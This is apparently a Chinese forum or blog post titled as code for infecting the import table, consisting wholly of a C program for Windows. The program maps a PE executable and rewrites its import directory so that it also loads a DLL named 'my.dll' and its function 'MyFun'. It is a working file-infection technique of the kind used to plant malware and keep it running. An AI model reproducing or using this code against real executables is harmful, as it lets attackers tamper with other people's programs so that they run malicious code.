一段感染引入表的vc代码

代码:
#include <stdio.h>
#include <windows.h>

DWORD RVAToOffset(LPVOID lpBase,DWORD VirtualAddress)
{
        IMAGE_DOS_HEADER *dosHeader;
        IMAGE_NT_HEADERS *ntHeader;
        IMAGE_SECTION_HEADER *sectionHeader;
        int NumOfSections;
        dosHeader=(IMAGE_DOS_HEADER*)lpBase;
        ntHeader=(IMAGE_NT_HEADERS*)((BYTE*)lpBase+dosHeader->e_lfanew);
        NumOfSections=ntHeader->FileHeader.NumberOfSections;
        for (int i=0;i<NumOfSections;i++)
        {
                sectionHeader=(IMAGE_SECTION_HEADER*)((BYTE*)lpBase+dosHeader->e_lfanew+sizeof(IMAGE_NT_HEADERS))+i;
                if(VirtualAddress>sectionHeader->VirtualAddress&&VirtualAddress<sectionHeader->VirtualAddress+sectionHeader->SizeOfRawData)
                {
                        DWORD AposRAV=VirtualAddress-sectionHeader->VirtualAddress;
                        DWORD Offset=sectionHeader->PointerToRawData+AposRAV;
                        return Offset;
                }
        }
        return 0;
}

int sectionNum(LPVOID lpBase,DWORD VirtualAddress)
{
        IMAGE_DOS_HEADER *dosHeader;
        IMAGE_NT_HEADERS *ntHeader;
        IMAGE_SECTION_HEADER *sectionHeader;
        int NumOfSections;
        dosHeader=(IMAGE_DOS_HEADER*)lpBase;
        ntHeader=(IMAGE_NT_HEADERS*)((BYTE*)lpBase+dosHeader->e_lfanew);
        NumOfSections=ntHeader->FileHeader.NumberOfSections;
        for (int i=0;i<NumOfSections;i++)
        {
                sectionHeader=(IMAGE_SECTION_HEADER*)((BYTE*)lpBase+dosHeader->e_lfanew+sizeof(IMAGE_NT_HEADERS))+i;
                if(VirtualAddress>sectionHeader->VirtualAddress&&VirtualAddress<sectionHeader->VirtualAddress+sectionHeader->SizeOfRawData)
                {

                        return i;
                }
        }
        return -1;
}


int main(int argc, char* argv[])
{

        HANDLE hFile=CreateFile(argv[1],GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
        if(hFile==INVALID_HANDLE_VALUE)
        {
                printf("CreateFile Failed/n");
                return 0;
        }

        HANDLE hMap=CreateFileMapping(hFile,NULL,PAGE_READWRITE,NULL,NULL,NULL);
        if(hMap==INVALID_HANDLE_VALUE)
        {
                printf("CreateFileMapping Failed/n");
                return 0;
        }

        LPVOID lpBase=MapViewOfFile(hMap,FILE_MAP_WRITE,0,0,0);
        if(lpBase==NULL)
        {
                printf("MapViewOfFile Failed/n");
                return 0;        
        }
        IMAGE_DOS_HEADER *dosHeader;
        IMAGE_NT_HEADERS *ntHeader;


        dosHeader=(IMAGE_DOS_HEADER*)lpBase;

        if (dosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
        {
                printf("This is not a windows file/n");
                return 0;
        }
        
        ntHeader=(IMAGE_NT_HEADERS*)((BYTE*)lpBase+dosHeader->e_lfanew);
        if(ntHeader->Signature!=IMAGE_NT_SIGNATURE)
        {
                printf("This is not a win32 file/n");
                return 0;
        }
        int numOfSections=ntHeader->FileHeader.NumberOfSections;
        
        int ncout=sectionNum(lpBase,ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
        if(ncout==-1)
        {
                printf("get section failed/n");
                return 0;
        }
        IMAGE_SECTION_HEADER *sectionHeader;
        sectionHeader=(IMAGE_SECTION_HEADER*)((BYTE*)lpBase+dosHeader->e_lfanew+sizeof(IMAGE_NT_HEADERS))+ncout;
        int nullsize=sectionHeader->SizeOfRawData-sectionHeader->Misc.VirtualSize;
        printf("%d/n",nullsize);
        if(numOfSections*20+20*3+8+8>nullsize)
        {
                printf("file space is not enough/n");
                return 0;
        }
        IMAGE_IMPORT_DESCRIPTOR *newImport;
        newImport=(IMAGE_IMPORT_DESCRIPTOR *)((BYTE*)lpBase+sectionHeader->PointerToRawData+sectionHeader->Misc.VirtualSize);
        printf("%x/n",sectionHeader->PointerToRawData+sectionHeader->Misc.VirtualSize);
        printf("%d/n",sizeof(IMAGE_IMPORT_DESCRIPTOR));
        IMAGE_IMPORT_DESCRIPTOR *ImportDec=(IMAGE_IMPORT_DESCRIPTOR*)((BYTE*)lpBase+RVAToOffset(lpBase,ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress));
        int i=0;
        while(ImportDec->FirstThunk)
        {
                *newImport=*ImportDec;
                i=i+1;
                ImportDec++;
                newImport++;
        }
        IMAGE_IMPORT_DESCRIPTOR myImport;
        char *name="my.dll";
        myImport.FirstThunk=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2)+20);
        myImport.TimeDateStamp=0;
        myImport.ForwarderChain=0;
        myImport.OriginalFirstThunk=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->PointerToRawData+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2)+20);
        myImport.Name=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2));
        *newImport=myImport;
        newImport++;
        memset(newImport,0,sizeof(IMAGE_IMPORT_DESCRIPTOR));
        newImport++;
        memcpy((char*)newImport,name,strlen(name)+1);
        DWORD newThunk;
        newThunk=(DWORD)newImport+20;
        
        *(DWORD*)newThunk=(DWORD)(sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress+sizeof(IMAGE_IMPORT_DESCRIPTOR)*(i+2)+20+8);
        memset((void*)(newThunk+4),0,4);
        newThunk=newThunk+8;
        WORD hint=0x00;
        *(WORD*)newThunk=hint;
        newThunk=newThunk+sizeof(WORD);
        char *funname="MyFun";
        memcpy((char*)newThunk,funname,strlen(funname)+2);
        ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress=sectionHeader->Misc.VirtualSize+sectionHeader->VirtualAddress;

        FlushViewOfFile(lpBase,0);

        UnmapViewOfFile(lpBase);
        CloseHandle(hMap);
        CloseHandle(hFile);
        return 0;
}